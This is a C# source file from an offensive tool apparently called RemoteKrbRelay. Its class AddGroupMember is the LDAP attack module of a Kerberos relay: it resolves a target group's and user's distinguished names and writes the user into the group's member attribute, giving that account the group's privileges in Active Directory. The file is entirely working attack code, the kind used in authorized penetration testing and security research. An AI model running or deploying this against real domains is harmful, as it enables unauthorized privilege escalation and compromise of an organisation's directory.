Files
Michael Zhmailo a655de2076 Initial Commit
2024-06-24 22:44:32 +05:00

45 lines
1.5 KiB
C#

using System;
using System.Text;
using static RemoteKrbRelay.Helpers.Natives;
using static RemoteKrbRelay.Helpers.Parsing;
namespace RemoteKrbRelay.Relay.Attacks.Ldap
{
internal class AddGroupMember
{
public static LdapStatus attack(IntPtr ld, string group, string user)
{
user = ExtractUser(user);
var groupDn = Options.groupDN;
if (string.IsNullOrEmpty(groupDn))
{
groupDn = Generic.getPropertyValue(ld, group, "distinguishedName");
if (string.IsNullOrEmpty(groupDn))
{
Console.WriteLine($"[-] Can't find DN of the group: {group}. Try to specify it using -groupdn");
return LdapStatus.LDAP_NO_SUCH_OBJECT;
}
}
var userDn = Options.userDN;
if (string.IsNullOrEmpty(userDn))
{
userDn = Generic.getPropertyValue(ld, user, "distinguishedName");
if (string.IsNullOrEmpty(userDn))
{
Console.WriteLine($"[-] Can't find DN of the user: {user}. Try to specify it using -userdn");
return LdapStatus.LDAP_NO_SUCH_OBJECT;
}
}
Console.WriteLine($"[?] Adding {userDn} to {groupDn}");
return (RemoteKrbRelay.Helpers.Natives.LdapStatus)Generic.addAttribute(ld, "member", Encoding.UTF8.GetBytes(userDn), groupDn);
}
}
}